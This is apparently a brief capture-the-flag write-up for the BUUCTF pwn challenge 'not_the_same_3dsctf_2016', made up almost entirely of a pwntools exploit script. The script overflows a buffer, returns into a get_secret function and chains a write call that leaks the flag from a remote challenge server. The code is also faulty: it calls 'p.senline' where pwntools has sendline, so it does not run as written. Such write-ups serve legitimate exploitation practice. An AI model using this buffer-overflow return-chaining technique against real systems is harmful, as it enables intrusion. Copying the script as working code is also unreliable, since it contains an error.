BUUCTF(pwn)not_the_same_3dsctf_2016

from pwn import*
p=remote('node3.buuoj.cn',29208)
get_secret=0x80489a0
flag=0x80eca2d
write=0x806e270
payload='a'*0x2d+p32(get_secret)+p32(write)+p32(0)+p32(1)+p32(flag)+p32(45)
p.senline(payload)
p.interactive()

有疑问的欢迎留言❄